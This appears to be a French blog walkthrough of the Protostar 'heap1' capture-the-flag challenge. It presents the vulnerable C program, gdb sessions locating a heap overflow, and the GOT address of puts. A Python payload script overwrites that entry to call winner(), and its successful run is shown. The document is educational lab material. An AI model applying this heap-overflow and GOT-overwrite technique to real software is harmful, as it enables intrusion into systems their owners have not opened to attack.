Protostar – heap 1

 

Maintenant , c’est au challenge heap1 de la VM Protostar que nous allons nous attaquer.

Il est possible de télécharger cette machine virtuelle ici.

Voici le code source du binaire à exploiter :

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

Le but de ce challenge est d’executer la fonction winner() à l’aide d’un overflow dans le tas ( heap overflow )

Nous pouvons voir que la fonction stcpy est utilisée deux fois alors qu’elle ne vérifie pas que la taille du buffer soit correcte et permet donc d’écraser la mémoire , ici le « heap » car les structures utilisées ont été allouées grâce à malloc

Lançons notre programme avec des caractères reconnaissable dans gdb :

(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGG 000011112222333344445555
Starting program: /opt/protostar/bin/heap1 AAAABBBBCCCCDDDDEEEEFFFFGGGG 000011112222333344445555

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x46464646 <Address 0x46464646 out of bounds>, 
    src=0xbffff973 "000011112222333344445555") at strcpy.c:40
40	strcpy.c: No such file or directory.
	in strcpy.c

s

comme vous pouvez le constater , le strcpy tente d’ecrire le second argument à l’adresse 0x46464646 , soit nos « FFFF »

Nous pouvons donc écrire à l’adresse désirée en remplaçant les FFFF  par l’adresse à écraser.

Maintenant que pourrions nous écraser le printf pour le modifier par la fonction winner

récupérons l’adresse du printf dans la Global Offset Table :

(gdb) disassemble main
Dump of assembler code for function main:
0x080484b9 <main+0>:    push   %ebp
0x080484ba <main+1>:    mov    %esp,%ebp
0x080484bc <main+3>:    and    $0xfffffff0,%esp
0x080484bf <main+6>:    sub    $0x20,%esp
0x080484c2 <main+9>:    movl   $0x8,(%esp)
0x080484c9 <main+16>:    call   0x80483bc <malloc@plt>
0x080484ce <main+21>:    mov    %eax,0x14(%esp)
0x080484d2 <main+25>:    mov    0x14(%esp),%eax
0x080484d6 <main+29>:    movl   $0x1,(%eax)
0x080484dc <main+35>:    movl   $0x8,(%esp)
0x080484e3 <main+42>:    call   0x80483bc <malloc@plt>
0x080484e8 <main+47>:    mov    %eax,%edx
0x080484ea <main+49>:    mov    0x14(%esp),%eax
0x080484ee <main+53>:    mov    %edx,0x4(%eax)
0x080484f1 <main+56>:    movl   $0x8,(%esp)
0x080484f8 <main+63>:    call   0x80483bc <malloc@plt>
0x080484fd <main+68>:    mov    %eax,0x18(%esp)
0x08048501 <main+72>:    mov    0x18(%esp),%eax
0x08048505 <main+76>:    movl   $0x2,(%eax)
0x0804850b <main+82>:    movl   $0x8,(%esp)
0x08048512 <main+89>:    call   0x80483bc <malloc@plt>
0x08048517 <main+94>:    mov    %eax,%edx
0x08048519 <main+96>:    mov    0x18(%esp),%eax
0x0804851d <main+100>:    mov    %edx,0x4(%eax)
0x08048520 <main+103>:    mov    0xc(%ebp),%eax
0x08048523 <main+106>:    add    $0x4,%eax
0x08048526 <main+109>:    mov    (%eax),%eax
0x08048528 <main+111>:    mov    %eax,%edx
0x0804852a <main+113>:    mov    0x14(%esp),%eax
0x0804852e <main+117>:    mov    0x4(%eax),%eax
0x08048531 <main+120>:    mov    %edx,0x4(%esp)
0x08048535 <main+124>:    mov    %eax,(%esp)
0x08048538 <main+127>:    call   0x804838c <strcpy@plt>
0x0804853d <main+132>:    mov    0xc(%ebp),%eax
0x08048540 <main+135>:    add    $0x8,%eax
0x08048543 <main+138>:    mov    (%eax),%eax
0x08048545 <main+140>:    mov    %eax,%edx
0x08048547 <main+142>:    mov    0x18(%esp),%eax
0x0804854b <main+146>:    mov    0x4(%eax),%eax
0x0804854e <main+149>:    mov    %edx,0x4(%esp)
0x08048552 <main+153>:    mov    %eax,(%esp)
0x08048555 <main+156>:    call   0x804838c <strcpy@plt>
0x0804855a <main+161>:    movl   $0x804864b,(%esp)
0x08048561 <main+168>:    call   0x80483cc <puts@plt>
0x08048566 <main+173>:    leave
0x08048567 <main+174>:    ret
End of assembler dump.
(gdb) disassemble 0x80483cc
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>:    jmp    *0x8049774
0x080483d2 <puts@plt+6>:    push   $0x30
0x080483d7 <puts@plt+11>:    jmp    0x804835c
End of assembler dump.
(gdb) x 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>:    0x080483d2

l’adresse à ecrasée est donc 0x8049774

maintenant avec quoi ecraser la fonction puts , avec la fonction winner :

(gdb) p winner
$1 = {void (void)} 0x8048494 <winner>

Il nous reste plus qu’a écrire notre fichier python pour generer le payload :

#!/usr/bin/python
 
import struct
 
#premier argument
payload = 'AAAABBBBCCCCDDDDEEEE'
payload += struct.pack('I',0x8049774) # address of puts in the GLobal Offet Table
#espace
payload += ' '
#second argument
payload += struct.pack('I',0x8048494) # Address of winner fonction
 
print payload

Lançons le binaire avec le payload que l’on a généré :

user@protostar:/opt/protostar/bin$ ./heap1 $(/tmp/exploit.py )
and we have a winner @ 1480628879

Le challenge est réussi !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.